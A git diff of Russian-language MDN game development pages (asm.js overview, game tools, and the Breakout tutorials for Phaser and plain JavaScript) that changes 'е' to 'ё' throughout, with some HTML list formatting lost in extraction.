      Это небольшое, более строгое подмножество JavaScript которое ограничивает стандартный язык только конструкциями, типа `while`, `if` и данными в виде чисел, именованных функций, и другими простыми вещами. Оно не разрешает использование объектов, строк, и всего, что требует больших нагрузок. Asm.js напоминает C во многих вещах, но он является полностью валидным кодом на JavaScript и работает на всех имеющихся движках. Он позволяет JS движкам, поддерживающим asm.js, оптимизировать такой код и даёт компиляторам, типа Emscripten, чёткое определение того, как нужно компилировать. Мы покажем, как asm.js код выглядит, чем он полезен и как с ним работать.
      
 
-
      Это подмножество JavaScript уже автоматически используется во многих движках, использующих технологию компиляции Just-In-Time (JIT). Однако, указав явный стандарт, мы можем улучшить оптимизацию такого кода и получить максимальную производительность. Благодаря этому, упрощается совместная работа нескольких JS движков, потому что легче договориться о стандартах. Идея в том, что этот вид кода должен работать очень быстро в каждом движке, и если это не так, это ошибка, и есть четкая спецификация, что именно движки должны оптимизировать.
      
+
      Это подмножество JavaScript уже автоматически используется во многих движках, использующих технологию компиляции Just-In-Time (JIT). Однако, указав явный стандарт, мы можем улучшить оптимизацию такого кода и получить максимальную производительность. Благодаря этому, упрощается совместная работа нескольких JS движков, потому что легче договориться о стандартах. Идея в том, что этот вид кода должен работать очень быстро в каждом движке, и если это не так, это ошибка, и есть чёткая спецификация, что именно движки должны оптимизировать.
      
 
-
      Это также делает asm.js достаточно простым для людей, которые пишут компиляторы высокопроизводительного кода под web. Они могут обратиться к спецификации asm.js, чтобы найти более быстрые паттерны для него. Emscripten, компилятор C/C++ в JavaScript, выдает код asm.js, работающий в некоторых браузерах с производительностью, близкой к машинному коду.
      
+
      Это также делает asm.js достаточно простым для людей, которые пишут компиляторы высокопроизводительного кода под web. Они могут обратиться к спецификации asm.js, чтобы найти более быстрые паттерны для него. Emscripten, компилятор C/C++ в JavaScript, выдаёт код asm.js, работающий в некоторых браузерах с производительностью, близкой к машинному коду.
      
 
-
      Кроме того, если движок специально распознает код asm.js, то можно сделать еще больше оптимизаций. На данный момент Chrome (статус) и Firefox обладают поддержкой asm.js. Firefox имеет поддержку передовых фич asm.js
      
+
      Кроме того, если движок специально распознает код asm.js, то можно сделать ещё больше оптимизаций. На данный момент Chrome (статус) и Firefox обладают поддержкой asm.js. Firefox имеет поддержку передовых фич asm.js
      
 
 
      В общем об asm.js
      
 
diff --git a/files/ru/games/tools/index.html b/files/ru/games/tools/index.html
index 91e2bf3f41..f4adb6f5b3 100644
--- a/files/ru/games/tools/index.html
+++ b/files/ru/games/tools/index.html
@@ -28,7 +28,7 @@ original_slug: Games/Инструменты
  
        
   
      • Обзор базовых инструментов
        • 
   
      • Редактор шейдеров
        • 
-  
      • Производственные инструменты (все еще находятся в производстве, по оценкам, в начале 2014 года)
        • 
+  
      • Производственные инструменты (все ещё находятся в производстве, по оценкам, в начале 2014 года)
        •
    diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html index 8d4171bde1..45bdac302b 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html @@ -107,7 +107,7 @@ var brickInfo; var brickY = (r*(brickInfo.height+brickInfo.padding))+brickInfo.offset.top; -

    Координата x каждого кирпича рассчитывается на основе суммы ширины кирпича brickInfo.width и зазора brickInfo.padding, умноженной на номер столбца с, после этого добавляем отступ от левого края brickInfo.offset.left; Расчет y аналогичен, только используются номер ряда r, высота кирпича brickInfo.height и отступ от верхнего края brickInfo.offset.top. Вот теперь каждый кирпич на своём месте, с учётом всех отступов и зазоров.

    +

    Координата x каждого кирпича рассчитывается на основе суммы ширины кирпича brickInfo.width и зазора brickInfo.padding, умноженной на номер столбца с, после этого добавляем отступ от левого края brickInfo.offset.left; Расчёт y аналогичен, только используются номер ряда r, высота кирпича brickInfo.height и отступ от верхнего края brickInfo.offset.top. Вот теперь каждый кирпич на своём месте, с учётом всех отступов и зазоров.

    Проверяем код функции initBricks()

    diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html index d19481e9ca..b01d6bf0ac 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html @@ -97,7 +97,7 @@ lifeLostText.visible = false; } -

    Вместо того, чтобы сразу вызывать сообщение, когда мяч выходит за пределы Canvas, мы сначала вычитаем одну жизнь из текущего числа и проверяем, не равно ли оно нулю. Если не равно, то у игрока все еще осталось несколько жизней, и он может продолжать играть - он увидит сообщение о потере жизни, позиции мяча и платформы будут сброшены и при следующем клике мышью сообщение будет скрыто и мяч снова начнет двигаться.

    +

    Вместо того, чтобы сразу вызывать сообщение, когда мяч выходит за пределы Canvas, мы сначала вычитаем одну жизнь из текущего числа и проверяем, не равно ли оно нулю. Если не равно, то у игрока все ещё осталось несколько жизней, и он может продолжать играть - он увидит сообщение о потере жизни, позиции мяча и платформы будут сброшены и при следующем клике мышью сообщение будет скрыто и мяч снова начнёт двигаться.

    Когда количество жизней достигнет нуля игра заканчивается, а игроку показывается соответствующее сообщение.

    @@ -113,6 +113,6 @@ lifeLostText.visible = false;

    Следующий шаг

    -

    Жизни делают игру более казуальной — даже если вы проиграете единожды, у вас будут еще 2 жизни и вы сможете продолжить игру. Теперь мы можем поработать над внешним видом игры, сделать ее более красивой, добавив анимацию и эффекты .

    +

    Жизни делают игру более казуальной — даже если вы проиграете единожды, у вас будут ещё 2 жизни и вы сможете продолжить игру. Теперь мы можем поработать над внешним видом игры, сделать её более красивой, добавив анимацию и эффекты .

    {{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Win_the_game", "Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens")}}

    diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html index c39dd38a7c..9e890e0d65 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html @@ -14,7 +14,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser

    Это 8 из 16 уроков руководства разработки игры с помощью Phaser. Исходный код этого урока вы можете найти здесь:  Gamedev-Phaser-Content-Kit/demos/lesson08.html.

    -

    Чтобы разнообразить игру, давайте добавим возможность проигрыша — если вы не отобьете мячик и дадите ему упасть на пол, то game over.

    +

    Чтобы разнообразить игру, давайте добавим возможность проигрыша — если вы не отобьёте мячик и дадите ему упасть на пол, то game over.

    Проигрыш

    diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html index e9de5c8ec3..ba34f51148 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html @@ -31,7 +31,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser 
    game.physics.startSystem(Phaser.Physics.ARCADE);
    -

    Во-вторых, нам необходимо добавить мяч в физическую систему, потому что объект, отвечающий за физику в Phaser, не включен по умолчанию. Добавьте следующую строку в конце функции create(): 

    +

    Во-вторых, нам необходимо добавить мяч в физическую систему, потому что объект, отвечающий за физику в Phaser, не включён по умолчанию. Добавьте следующую строку в конце функции create(): 

    game.physics.enable(ball, Phaser.Physics.ARCADE);
    diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html index 2064e6aa09..06441df2ff 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html @@ -20,7 +20,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser

    С точки зрения фреймворка, платформа и мячик не сильно различаются - нам так же понадобится переменная для платформы, спрайт и немного магии.

    -

    Создаем платформу

    +

    Создаём платформу

    Сначала, добавим переменную paddle, сразу после переменной ball:

    diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html index 30c80ddf18..878ab3eedc 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html @@ -39,7 +39,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser
  14. NO_SCALE — ничего не масштабировать.
  15. EXACT_FIT — масштабировать с полным заполнением пустого места вертикально и горизонтально, не соблюдая соотношение (aspect ratio).
  16. SHOW_ALL — масштабирует игру, но сохраняет соотношение так, что картинки не будут искажаться, как и при предыдущем значении. Возможно наличие чёрных полос по краям экрана, но мы можем жить с этим.
    17. -
  17. RESIZE — создает {{htmlelement("canvas")}} с доступными шириной и высотой так, что вы можете помещать объекты в игру динамически; это расширенный режим (advanced mode).
    18. +
  18. RESIZE — создаёт {{htmlelement("canvas")}} с доступными шириной и высотой так, что вы можете помещать объекты в игру динамически; это расширенный режим (advanced mode).
  19. USER_SCALE — позволяет вам делать динамическое масштабирование, подсчёт размеров, масштаб и соотношение самостоятельно; опять же это расширенный режим.
    20. diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html index 95f3e31b65..aea0e44784 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html @@ -38,7 +38,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser } -

    Чтобы перебрать все кирпичи в наборе, необходимо обратиться к полю bricks.children. Найдём все неразрешенные кирпичи, проверяя поле alive у каждого кирпича и, если все кирпичи разрушены, выведем всплывающее окно с текстом о победе. После закрытия этого окна, страница перезагрузится.

    +

    Чтобы перебрать все кирпичи в наборе, необходимо обратиться к полю bricks.children. Найдём все неразрешённые кирпичи, проверяя поле alive у каждого кирпича и, если все кирпичи разрушены, выведем всплывающее окно с текстом о победе. После закрытия этого окна, страница перезагрузится.

    Сравните свой код

    diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html index f94fabfb04..54bcf6cb81 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html @@ -21,13 +21,13 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_

    Это 3-й этап из 10  Gamedev Canvas tutorial. Вы можете найти исходный код как он должен выглядеть после завершения этого урока в Gamedev-Canvas-workshop/lesson3.html.

    -

    Приятно наблюдать за нашим мяч, но он быстро исчезает с экрана, удовольствие длится недолго! Чтобы продлить, мы реализуем некоторое очень простое обнаружение столкновений (о которых будет рассказано далее более подробно), чтобы сделать отскок мяча от четырех краев холста.

    +

    Приятно наблюдать за нашим мяч, но он быстро исчезает с экрана, удовольствие длится недолго! Чтобы продлить, мы реализуем некоторое очень простое обнаружение столкновений (о которых будет рассказано далее более подробно), чтобы сделать отскок мяча от четырёх краёв холста.

    Простое обнаружение столкновений

    Для обнаружения столкновения мы будем проверять -  касается ли мяч стены, и если это так, изменим направление его движения в нужную сторону.

    -

    Чтобы сделать расчеты проще, давайте определим переменную ballRadius, что задаст радиус нарисованного круга и будет использоваться для вычислений. Добавьте это в ваш код, где-то ниже существующих переменных:

    +

    Чтобы сделать расчёты проще, давайте определим переменную ballRadius, что задаст радиус нарисованного круга и будет использоваться для вычислений. Добавьте это в ваш код, где-то ниже существующих переменных:

    var ballRadius = 10;
    @@ -37,7 +37,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_

    Отскакивание от верхней и нижней стены

    -

    Есть четыре стены, от которых мяч будет отскакивать — давайте сначала сосредоточимся на верхней. При каждом кадре нужно проверять, коснулся ли мяч верхней границы — если да, то будет обратное движение мяча, поэтому он начнет двигаться в противоположном направлении и остановится в пределах видимой границы. Вспомнив, что система координат начинается с левого верхнего угла, мы можем придумать что-то вроде этого:

    +

    Есть четыре стены, от которых мяч будет отскакивать — давайте сначала сосредоточимся на верхней. При каждом кадре нужно проверять, коснулся ли мяч верхней границы — если да, то будет обратное движение мяча, поэтому он начнёт двигаться в противоположном направлении и остановится в пределах видимой границы. Вспомнив, что система координат начинается с левого верхнего угла, мы можем придумать что-то вроде этого:

    if(y + dy < 0) {
     dy = -dy;
@@ -45,7 +45,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_
 
 
    Если значение y положения шара ниже нуля, изменить направление движения по оси y установив его с тем же значением но с другим знаком. Если мяч движется вверх со скоростью 2 пикселя на кадр, теперь он будет двигаться "вверх" со скоростью -2 пикселя, что на самом деле означает движение вниз со скоростью 2 пикселя.
    
 
-
    Приведенный выше код описывает отражение только от верхней границы, так что теперь давайте думать о нижнем крае:
    
+
    Приведённый выше код описывает отражение только от верхней границы, так что теперь давайте думать о нижнем крае:
    
 
 
    if(y + dy > canvas.height) {
     dy = -dy;
@@ -77,7 +77,7 @@ if(y + dy > canvas.height || y + dy < 0) {
 
 
    Мяч продолжает исчезать в стене!
    
 
-
    Проверьте сейчас свой код, и вы будете впечатлены — теперь мяч, отскакивает от всех четырех краёв нашего <canvas>!  Однако есть некоторая проблема - когда мяч попадает в любую стену, он немного заходит за границы <canvas> перед отскоком:
    
+
    Проверьте сейчас свой код, и вы будете впечатлёны — теперь мяч, отскакивает от всех четырёх краёв нашего <canvas>!  Однако есть некоторая проблема - когда мяч попадает в любую стену, он немного заходит за границы <canvas> перед отскоком:
    
 
 
    
 
@@ -94,7 +94,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
 
 
    Сравните ваш код
    
 
-
    Давайте еще раз проверим готовый код для этой части, и код, что у вас есть, и играйте:
    
+
    Давайте ещё раз проверим готовый код для этой части, и код, что у вас есть, и играйте:
    
 
 
    {{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","370")}}
    
 
@@ -104,6 +104,6 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
 
 
    Следующий шаг
    
 
-
    Теперь мы добрались до стадии, где наш мяч одновременно двигается и остаётся на игровом поле. В четвертой главе мы рассмотрим реализацию управления — см. Paddle and keyboard controls.
    
+
    Теперь мы добрались до стадии, где наш мяч одновременно двигается и остаётся на игровом поле. В четвёртой главе мы рассмотрим реализацию управления — см. Paddle and keyboard controls.
    
 
 
    {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls")}}
    
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html
index c2b6c134d0..043994fe01 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html
@@ -1,8 +1,8 @@
 ---
-title: Создаем зону кирпичей
+title: Создаём зону кирпичей
 slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field
 translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field
-original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей
+original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаём_зону_кирпичей
 ---
 
    {{GamesSidebar}}
    
 
@@ -44,7 +44,7 @@ for(var c=0; c<brickColumnCount; c++) {
     }
 }
    
 
-
    Вышеприведенный код будет прокручивать строки и столбцы и создавать новые кирпичи. Обратите внимание, что кирпичные объекты также будут использоваться для целей обнаружения столкновений позже.
    
+
    Вышеприведённый код будет прокручивать строки и столбцы и создавать новые кирпичи. Обратите внимание, что кирпичные объекты также будут использоваться для целей обнаружения столкновений позже.
    
 
 
    Механизм отрисовки кирпичей
    
 
@@ -71,7 +71,7 @@ var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
    -

    Каждая позиция brickX разрабатывается как brickWidth + brickPadding , умноженная на номер столбца, c , плюс brickOffsetLeft ; логика для brickY идентична, за исключением того, что она использует значения для номера строки, r, brickHeight и brickOffsetTop . Теперь каждый отдельный кирпич может быть помещен в правильное место и столбец места, с отступом между каждым кирпичом, нарисованным на смещение от левого и верхнего краев холста.

    +

    Каждая позиция brickX разрабатывается как brickWidth + brickPadding , умноженная на номер столбца, c , плюс brickOffsetLeft ; логика для brickY идентична, за исключением того, что она использует значения для номера строки, r, brickHeight и brickOffsetTop . Теперь каждый отдельный кирпич может быть помещён в правильное место и столбец места, с отступом между каждым кирпичом, нарисованным на смещение от левого и верхнего краёв холста.

    Окончательная версия функции drawBricks() после назначения brickX и brickY в качестве координат вместо (0,0) каждый раз будет выглядеть следующим образом: добавьте это в свой код ниже функции drawPaddle() :

    diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html index 3f03e0f748..21e52d9a3d 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html @@ -8,12 +8,12 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Обнаруже
    {{IncludeSubnav("/en-US/docs/Games")}}
    -

    {{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

    +

    {{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаём_зону_кирпичей", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

    Это 7 шаг из 10 в Gamedev Canvas tutorial. Вы можете найти исходный код, как он будет выглядеть после завершения этого урока, тут Gamedev-Canvas-workshop/lesson7.html.

    -

    У нас уже есть кирпичи, появляющиеся на экране, но игра все еще не так интересна, ведь мяч проходит сквозь них. Нам нужно подумать о добавлении обнаружения столкновений, чтобы он мог отскакивать от кирпичей и ломать их.

    +

    У нас уже есть кирпичи, появляющиеся на экране, но игра все ещё не так интересна, ведь мяч проходит сквозь них. Нам нужно подумать о добавлении обнаружения столкновений, чтобы он мог отскакивать от кирпичей и ломать их.

    Конечно, это наше решение, как реализовать это, но может быть сложно рассчитать, касается ли шар прямоугольника или нет, потому что в Canvas нет вспомогательных функций для этого. В этом уроке мы сделаем это самым простым способом. Мы проверим, сталкивается ли центр мяча с любым из данных кирпичей. Это не идеальное решение на все случаи жизни, и есть намного более сложные и эффективные способы обнаружения столкновений, но это научит вас основным понятиям.

    @@ -53,11 +53,11 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Обнаруже } } -

    Добавьте вышеприведенный блок к вашему коду под keyUpHandler() функцией .

    +

    Добавьте вышеприведённый блок к вашему коду под keyUpHandler() функцией .

    Удаление кирпичей после их попадания

    -

    Вышеприведенный код будет работать, как и задумано, и мяч изменит свое направление. Проблема в том, что кирпичи остаются на своих местах. Мы должны придумать, как избавляться от тех, в которые мы уже попали мячом. Мы можем сделать это, добавив дополнительный параметр кирпичам, определяющий, будет ли кирпич отрисовываться на экране или нет. В той части кода, где мы инициализируем кирпичи, добавим свойство status к каждому кирпичному объекту. Обновите следующую часть кода, как показано ниже:

    +

    Вышеприведённый код будет работать, как и задумано, и мяч изменит своё направление. Проблема в том, что кирпичи остаются на своих местах. Мы должны придумать, как избавляться от тех, в которые мы уже попали мячом. Мы можем сделать это, добавив дополнительный параметр кирпичам, определяющий, будет ли кирпич отрисовываться на экране или нет. В той части кода, где мы инициализируем кирпичи, добавим свойство status к каждому кирпичному объекту. Обновите следующую часть кода, как показано ниже:

    var bricks = [];
 for(var c=0; c<brickColumnCount; c++) {
@@ -124,6 +124,6 @@ for(var c=0; c<brickColumnCount; c++) {
 
 
    Следующие шаги
    
 
-
    Мы уверенно движемся вперёд! Поехали! В восьмой главе мы будем учиться отслеживать счет и выигрывать .
    
+
    Мы уверенно движемся вперёд! Поехали! В восьмой главе мы будем учиться отслеживать счёт и выигрывать .
    
 
 
    {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}
    
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html
index 6a62e46e4e..5c09478700 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html
@@ -27,7 +27,7 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Заключен
 
 
    var lives = 3;
    
 
-
    Отрисовка счетчика жизни выглядит почти так же, как и счетчика баллов - добавьте в код следующую функцию под функцией drawScore() :
    
+
    Отрисовка счётчика жизни выглядит почти так же, как и счётчика баллов - добавьте в код следующую функцию под функцией drawScore() :
    
 
 
    function drawLives() {
     ctx.font = "16px Arial";
@@ -56,7 +56,7 @@ else {
     paddleX = (canvas.width-paddleWidth)/2;
 }
    
 
-
    Теперь, когда мяч попадает в нижний край экрана, мы вычитаем одну жизнь из переменной lives. Если жизней не осталось, игра проиграна, если осталось еще несколько жизней, то положение мяча и биты сбрасываются вместе с движением мяча.
    
+
    Теперь, когда мяч попадает в нижний край экрана, мы вычитаем одну жизнь из переменной lives. Если жизней не осталось, игра проиграна, если осталось ещё несколько жизней, то положение мяча и биты сбрасываются вместе с движением мяча.
    
 
 
    Визуализация дисплея жизней
    
 
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html
index 37ed140976..8fa11624a5 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html
@@ -12,7 +12,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over
 
 
    {{IncludeSubnav("/en-US/docs/Games")}}
    
 
-
    {{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей")}}
    
+
    {{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаём_зону_кирпичей")}}
    
 
 
    
 
    Это - 5-й шаг из 10 из Gamedev Canvas tutorial. Вы можете найти исходный код к этому уроку в Gamedev-Canvas-workshop/lesson5.html.
    
@@ -32,7 +32,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
     dy = -dy;
 }
    -

    Вместо того, чтобы позволить шару отталкиваться от всех четырех стен, давайте позволим отталкиваться только от трех стен — левую, верхнюю и правую. Удар об нижнюю стенку закончит игру. Мы отредактируем второй блок if, таким образом, что if else вызовет "Конец Игры" , когда шар столкнется  с нижней стенкой холста. Сохраните документ, взгляните на выводящееся сообщение перезагрузите игру путем перезагрузки страницы.

    +

    Вместо того, чтобы позволить шару отталкиваться от всех четырёх стен, давайте позволим отталкиваться только от трёх стен — левую, верхнюю и правую. Удар об нижнюю стенку закончит игру. Мы отредактируем второй блок if, таким образом, что if else вызовет "Конец Игры" , когда шар столкнётся  с нижней стенкой холста. Сохраните документ, взгляните на выводящееся сообщение перезагрузите игру путём перезагрузки страницы.

    Во-первых, измените код, где вы изначально вызывали setInterval()

    @@ -62,7 +62,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {

    Отбить шар

    -

    Последняя вещь, которую нужно сделать на этом уроке состоит в том, чтобы создать некоторое обнаружение столкновений между шаром и битой, таким образом, шар оттолкнется от биты и возвратиться в область игры. Самая простая вещь состоит в том, чтобы проверить, является ли центр шара между левыми и правыми краями биты. Обновите последний бит кода, который Вы изменили:

    +

    Последняя вещь, которую нужно сделать на этом уроке состоит в том, чтобы создать некоторое обнаружение столкновений между шаром и битой, таким образом, шар оттолкнётся от биты и возвратиться в область игры. Самая простая вещь состоит в том, чтобы проверить, является ли центр шара между левыми и правыми краями биты. Обновите последний бит кода, который Вы изменили:

    if(y + dy < ballRadius) {
     dy = -dy;
@@ -90,6 +90,6 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
 
 
    Следующие шаги
    
 
-
    Все идет хорошо и наша игра начинает чувствовать себя намного более достойно. Вы уже можете проиграть! Но все еще не хватает чего-то. Перейдем к шестой главе — Build the brick field — и создадим некоторые кирпичи для шара, чтобы их уничтожить.
    
+
    Все идёт хорошо и наша игра начинает чувствовать себя намного более достойно. Вы уже можете проиграть! Но все ещё не хватает чего-то. Перейдём к шестой главе — Build the brick field — и создадим некоторые кирпичи для шара, чтобы их уничтожить.
    
 
 
    {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}
    
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html
index 2a30bbadb5..0d37f7d427 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html
@@ -37,12 +37,12 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
  
  20. Конец игры
    21. 
  
  21. Построение поля кирпичей
    22. 
  
  22. Реакция при столкновении
    23. 
- 
  23. Счет и выигрыш
    24. 
+ 
  24. Счёт и выигрыш
    25. 
  
  25. Контроль мышью
    26. 
  
  26. Заключение
    27. 
 
 
-
    Лучший способ получить надежные знания в области разработки браузерных игр — это начать с чистого JavaScript. Затем можно выбрать любой фреймворк для использования в своих проектах. Фреймворки — это инструменты, созданные на языке JavaScript; поэтому, даже если вы планируете работать с ними, нелишним будет сначала изучить сам язык, чтобы понимать, что именно происходит внутри. Фреймворки ускоряют разработку и помогают справиться со скучными частями игры, но если что-то работает не так, как ожидалось, всегда можно попытаться отладить код или написать собственное решение на чистом JavaScript.
    
+
    Лучший способ получить надёжные знания в области разработки браузерных игр — это начать с чистого JavaScript. Затем можно выбрать любой фреймворк для использования в своих проектах. Фреймворки — это инструменты, созданные на языке JavaScript; поэтому, даже если вы планируете работать с ними, нелишним будет сначала изучить сам язык, чтобы понимать, что именно происходит внутри. Фреймворки ускоряют разработку и помогают справиться со скучными частями игры, но если что-то работает не так, как ожидалось, всегда можно попытаться отладить код или написать собственное решение на чистом JavaScript.
    
 
 
    
 
    Примечание. Если вам интересно узнать о разработке двухмерных игр с помощью игровой библиотеки, ознакомьтесь с альтернативной серией статей 2D игра Breakout с использованием Phaser.
    
@@ -54,6 +54,6 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
 
 
    Следующий шаг
    
 
-
    Ладно, давайте начнем! Перейдите к первой главе — Создание Canvas и рисование на нем.
    
+
    Ладно, давайте начнём! Перейдите к первой главе — Создание Canvas и рисование на нем.
    
 
 
    {{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it")}} 
    
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html
index e6f61bebe1..28cf380c31 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html
@@ -23,7 +23,7 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Управлен
 
 
    Отслеживание движений мыши
    
 
-
    Отслеживание движений мыши еще проще, чем обработка нажатий клавиш. Все, что нам нужно, это следить за событиями {{event("mousemove")}}. Добавьте следующую строку в том же месте, как и для других событий, чуть ниже keyup event:
    
+
    Отслеживание движений мыши ещё проще, чем обработка нажатий клавиш. Все, что нам нужно, это следить за событиями {{event("mousemove")}}. Добавьте следующую строку в том же месте, как и для других событий, чуть ниже keyup event:
    
 
 
    document.addEventListener("mousemove", mouseMoveHandler, false);
    
 
@@ -54,6 +54,6 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Управлен
 
 
    Следующий шаг
    
 
-
    Теперь у нас есть полная игра, мы закончим нашу серию уроков с еще несколькими небольшими хитростями — Finishing up.
    
+
    Теперь у нас есть полная игра, мы закончим нашу серию уроков с ещё несколькими небольшими хитростями — Finishing up.
    
 
 
    {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}
    
